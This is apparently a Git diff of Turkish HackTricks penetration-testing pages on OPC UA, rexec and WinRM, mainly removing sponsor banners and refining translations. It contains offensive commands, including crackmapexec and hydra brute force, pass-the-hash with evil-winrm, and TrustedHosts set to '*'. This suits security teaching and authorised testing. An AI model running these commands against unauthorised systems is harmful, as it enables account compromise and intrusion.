**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**OPC UA**, **Açık Platform İletişimi Birleşik Erişim** anlamına gelir, çeşitli endüstrilerde, özellikle Üretim, Enerji, Havacılık ve Savunma alanlarında veri alışverişi ve ekipman kontrolü için kullanılan önemli bir açık kaynak protokoldür. Farklı satıcıların ekipmanlarının, özellikle PLC'lerle iletişim kurmasını benzersiz bir şekilde sağlar.
|
||||
**OPC UA**, yani **Açık Platform İletişim Birleşik Erişim**, veri alışverişi ve ekipman kontrolü için Üretim, Enerji, Havacılık ve Savunma gibi çeşitli endüstrilerde kullanılan önemli bir açık kaynak protokoldür. Farklı satıcıların ekipmanlarının, özellikle PLC'lerle iletişim kurmasını benzersiz bir şekilde sağlar.
|
||||
|
||||
Yapılandırması güçlü güvenlik önlemlerine olanak tanır, ancak genellikle eski cihazlarla uyumluluk için bunlar azaltılır ve sistemleri risklere maruz bırakır. Ayrıca, OPC UA hizmetlerini bulmak zor olabilir çünkü ağ tarayıcıları, standart dışı portlarda olduklarında bunları tespit edemeyebilir.
|
||||
|
||||
@ -27,9 +19,9 @@ OPC UA sunucularındaki güvenlik sorunlarını ortaya çıkarmak için [OpalOPC
|
||||
```bash
|
||||
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
|
||||
```
|
||||
### Açıkları Kullanma
|
||||
### Açıkların Sömürülmesi
|
||||
|
||||
Eğer kimlik doğrulama atlama açıkları bulunursa, buna göre bir [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/) yapılandırabilir ve erişebileceğiniz şeyleri görebilirsiniz. Bu, yalnızca süreç değerlerini okumaktan ağır sanayi ekipmanlarını işletmeye kadar her şeyi mümkün kılabilir.
|
||||
Eğer kimlik doğrulama atlama açıkları bulunursa, buna göre bir [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/) yapılandırabilir ve neye erişebileceğinizi görebilirsiniz. Bu, yalnızca süreç değerlerini okumaktan ağır sanayi ekipmanlarını çalıştırmaya kadar her şeyi mümkün kılabilir.
|
||||
|
||||
Erişim sağladığınız cihaz hakkında bir ipucu almak için, adres alanındaki "ServerStatus" düğüm değerlerini okuyun ve bir kullanım kılavuzu için Google'da arama yapın.
|
||||
|
||||
@ -41,12 +33,5 @@ Erişim sağladığınız cihaz hakkında bir ipucu almak için, adres alanında
|
||||
|
||||
- [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
|
||||
|
||||
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
|
||||
|
||||
**Gerçek iş etkisi olan kritik, istismar edilebilir açıkları bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,17 +2,10 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
|
||||
|
||||
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, yetkileri artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Temel Bilgiler
|
||||
|
||||
**Geçerli kimlik bilgilerini** (kullanıcı adı ve şifre) biliyorsanız, bir ana bilgisayar içinde bir komut **çalıştırmanıza** olanak tanıyan bir hizmettir.
|
||||
**Geçerli kimlik bilgilerini** (kullanıcı adı ve şifre) biliyorsanız, **bir ana bilgisayar içinde bir komut çalıştırmanıza olanak tanıyan** bir hizmettir.
|
||||
|
||||
**Varsayılan Port:** 512
|
||||
```
|
||||
@ -21,12 +14,5 @@ PORT STATE SERVICE
|
||||
```
|
||||
### [**Brute-force**](../generic-hacking/brute-force.md#rexec)
|
||||
|
||||
<figure><img src="../images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
|
||||
|
||||
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,35 +2,20 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
**Hacking Insights**\
|
||||
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
|
||||
|
||||
**Latest Announcements**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!
|
||||
|
||||
## WinRM
|
||||
|
||||
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>) , **Microsoft tarafından** vurgulanan bir **protokoldür** ve **Windows sistemlerinin** HTTP(S) üzerinden uzaktan yönetimini sağlar, bu süreçte SOAP kullanır. Temelde WMI tarafından desteklenmektedir ve WMI işlemleri için HTTP tabanlı bir arayüz sunar.
|
||||
[Windows Remote Management (WinRM)](<https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx>), **Microsoft tarafından** vurgulanan bir **protokoldür** ve **Windows sistemlerinin uzaktan yönetimini** HTTP(S) üzerinden sağlar, bu süreçte SOAP kullanır. Temelde WMI tarafından desteklenir ve WMI işlemleri için HTTP tabanlı bir arayüz olarak kendini sunar.
|
||||
|
||||
Bir makinede WinRM'in varlığı, PowerShell aracılığıyla basit uzaktan yönetim sağlar; bu, diğer işletim sistemleri için SSH'nin nasıl çalıştığına benzer. WinRM'in çalışıp çalışmadığını belirlemek için belirli portların açılıp açılmadığını kontrol etmek önerilir:
|
||||
|
||||
- **5985/tcp (HTTP)**
|
||||
- **5986/tcp (HTTPS)**
|
||||
|
||||
Yukarıdaki listeden açık bir port, WinRM'in kurulu olduğunu gösterir ve böylece uzaktan bir oturum başlatma girişimlerine izin verir.
|
||||
Yukarıdaki listeden açık bir port, WinRM'in kurulu olduğunu gösterir ve böylece uzaktan oturum başlatma girişimlerine izin verir.
|
||||
|
||||
### **WinRM Oturumu Başlatma**
|
||||
|
||||
PowerShell'i WinRM için yapılandırmak üzere, Microsoft'un `Enable-PSRemoting` cmdlet'i devreye girer ve bilgisayarı uzaktan PowerShell komutlarını kabul edecek şekilde ayarlar. Yükseltilmiş PowerShell erişimi ile, bu işlevselliği etkinleştirmek ve herhangi bir host'u güvenilir olarak belirlemek için aşağıdaki komutlar çalıştırılabilir:
|
||||
PowerShell'i WinRM için yapılandırmak üzere, Microsoft'un `Enable-PSRemoting` cmdlet'i devreye girer ve bilgisayarı uzaktan PowerShell komutlarını kabul edecek şekilde ayarlar. Yükseltilmiş PowerShell erişimi ile, bu işlevselliği etkinleştirmek ve herhangi bir hostu güvenilir olarak belirlemek için aşağıdaki komutlar çalıştırılabilir:
|
||||
```powershell
|
||||
Enable-PSRemoting -Force
|
||||
Set-Item wsman:\localhost\client\trustedhosts *
|
||||
@ -41,13 +26,13 @@ Ayrıca, WinRM `wmic` komutu kullanılarak **uzaktan etkinleştirilebilir**, aş
|
||||
```powershell
|
||||
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
|
||||
```
|
||||
Bu yöntem, uzaktan WinRM kurulumu yapmayı sağlar, bu da Windows makinelerini uzaktan yönetme esnekliğini artırır.
|
||||
Bu yöntem, uzaktan WinRM kurulumu yapmayı sağlar ve Windows makinelerini uzaktan yönetme esnekliğini artırır.
|
||||
|
||||
### Yapılandırıldığını test et
|
||||
|
||||
Saldırı makinenizin kurulumunu doğrulamak için, hedefin WinRM'nin doğru bir şekilde yapılandırılıp yapılandırılmadığını kontrol etmek için `Test-WSMan` komutu kullanılır. Bu komutu çalıştırarak, başarılı bir yapılandırmayı gösteren protokol versiyonu ve wsmid ile ilgili ayrıntılar almayı beklemelisiniz. Aşağıda, yapılandırılmış bir hedef ile yapılandırılmamış bir hedef için beklenen çıktıyı gösteren örnekler bulunmaktadır:
|
||||
Saldırı makinenizin kurulumunu doğrulamak için, hedefin WinRM'nin doğru bir şekilde yapılandırılıp yapılandırılmadığını kontrol etmek için `Test-WSMan` komutu kullanılır. Bu komutu çalıştırarak, başarılı bir yapılandırmayı gösteren protokol versiyonu ve wsmid ile ilgili ayrıntıları almayı beklemelisiniz. Aşağıda, yapılandırılmış bir hedef ile yapılandırılmamış bir hedef için beklenen çıktıyı gösteren örnekler bulunmaktadır:
|
||||
|
||||
- **Doğru** yapılandırılmış bir hedef için, çıktı buna benzer görünecektir:
|
||||
- **Doğru** bir şekilde yapılandırılmış bir hedef için, çıktı şu şekilde görünecektir:
|
||||
```bash
|
||||
Test-WSMan <target-ip>
|
||||
```
|
||||
@ -67,7 +52,7 @@ Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /al
|
||||
```
|
||||
.png>)
|
||||
|
||||
Ayrıca, **mevcut PS konsolunuzda bir komut çalıştırabilirsiniz** _**Invoke-Command**_ aracılığıyla. Diyelim ki yerel olarak _**enumeration**_ adında bir fonksiyonunuz var ve bunu **uzaktaki bir bilgisayarda çalıştırmak istiyorsunuz**, şunu yapabilirsiniz:
|
||||
Ayrıca, **mevcut PS konsolunuzda bir komut çalıştırabilirsiniz** _**Invoke-Command**_ aracılığıyla. Diyelim ki yerel olarak _**enumeration**_ adında bir fonksiyonunuz var ve bunu **uzaktaki bir bilgisayarda çalıştırmak istiyorsunuz**, bunu yapabilirsiniz:
|
||||
```powershell
|
||||
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
|
||||
```
|
||||
@ -110,7 +95,7 @@ PS Remoting ve WinRM kullanmak için ancak bilgisayar yapılandırılmamışsa,
|
||||
```
|
||||
### Oturumları Kaydetme ve Geri Yükleme
|
||||
|
||||
Bu **çalışmayacak** eğer **dil** uzak bilgisayarda **kısıtlıysa**.
|
||||
Bu **çalışmayacak** eğer **dil** uzaktaki bilgisayarda **kısıtlıysa**.
|
||||
```powershell
|
||||
#If you need to use different creds
|
||||
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
|
||||
@ -130,33 +115,18 @@ Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
|
||||
|
||||
Aşağıdaki hatayı bulursanız:
|
||||
|
||||
`enter-pssession : Uzak sunucu 10.10.10.175 ile bağlantı kurulamadı, aşağıdaki hata mesajı ile : WinRM istemcisi isteği işleyemiyor. Kimlik doğrulama şeması Kerberos'tan farklıysa veya istemci bilgisayarı bir domaine katılmamışsa, HTTPS taşıma kullanılmalı veya hedef makine TrustedHosts yapılandırma ayarına eklenmelidir. TrustedHosts'u yapılandırmak için winrm.cmd kullanın. TrustedHosts listesindeki bilgisayarların kimlik doğrulamasının yapılmamış olabileceğini unutmayın. Bununla ilgili daha fazla bilgi almak için aşağıdaki komutu çalıştırabilirsiniz: winrm help config. Daha fazla bilgi için, about_Remote_Troubleshooting Yardım konusuna bakın.`
|
||||
`enter-pssession : Uzak sunucu 10.10.10.175'e bağlanma başarısız oldu. Hata mesajı: WinRM istemcisi isteği işleyemiyor. Kimlik doğrulama şeması Kerberos'tan farklıysa veya istemci bilgisayarı bir domaine katılmamışsa, HTTPS taşıma kullanılmalı veya hedef makine TrustedHosts yapılandırma ayarına eklenmelidir. TrustedHosts'u yapılandırmak için winrm.cmd kullanın. TrustedHosts listesindeki bilgisayarların kimlik doğrulamasının yapılmamış olabileceğini unutmayın. Bununla ilgili daha fazla bilgi almak için aşağıdaki komutu çalıştırabilirsiniz: winrm help config. Daha fazla bilgi için, about_Remote_Troubleshooting Yardım konusuna bakın.`
|
||||
|
||||
İstemcide deneme (bilgi için [buraya](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
|
||||
```ruby
|
||||
winrm quickconfig
|
||||
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
|
||||
```
|
||||
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
## WinRM bağlantısı linux'ta
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
### Kaba Kuvvet
|
||||
|
||||
**Hacking İçgörüleri**\
|
||||
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
|
||||
|
||||
**Gerçek Zamanlı Hack Haberleri**\
|
||||
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
|
||||
|
||||
**Son Duyurular**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
Bugün [**Discord**](https://discord.com/invite/N3FrSbmwdy) üzerinden bize katılın ve en iyi hackerlarla işbirliğine başlayın!
|
||||
|
||||
## Linux'ta WinRM bağlantısı
|
||||
|
||||
### Brute Force
|
||||
|
||||
Dikkatli olun, winrm'yi brute force ile kırmak kullanıcıları engelleyebilir.
|
||||
Dikkatli olun, winrm'yi kaba kuvvetle kırmak kullanıcıları engelleyebilir.
|
||||
```ruby
|
||||
#Brute force
|
||||
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
|
||||
@ -172,13 +142,13 @@ crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionT
|
||||
```ruby
|
||||
gem install evil-winrm
|
||||
```
|
||||
**belgeleri** github'da okuyun: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
**belgeler**i github'da okuyun: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
|
||||
```ruby
|
||||
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i <IP>/<Domain>
|
||||
```
|
||||
Evil-winrm kullanarak bir **IPv6 adresine** bağlanmak için, _**/etc/hosts**_ dosyasına bir giriş oluşturun ve **alan adını** IPv6 adresine ayarlayarak o alana bağlanın.
|
||||
Evil-winrm'i bir **IPv6 adresine** bağlanmak için, _**/etc/hosts**_ dosyasına bir giriş oluşturun ve **alan adını** IPv6 adresine ayarlayıp o alana bağlanın.
|
||||
|
||||
### Hash'i evil-winrm ile geçirme
|
||||
### Hash'i evil-winrm ile geçirin
|
||||
```ruby
|
||||
evil-winrm -u <username> -H <Hash> -i <IP>
|
||||
```
|
||||
@ -291,19 +261,4 @@ Name: Hydra Brute Force
|
||||
Description: Need User
|
||||
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
|
||||
```
|
||||
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
|
||||
|
||||
**Hacking Insights**\
|
||||
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
|
||||
|
||||
**Latest Announcements**\
|
||||
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
|
||||
|
||||
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliğine başlayın!
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user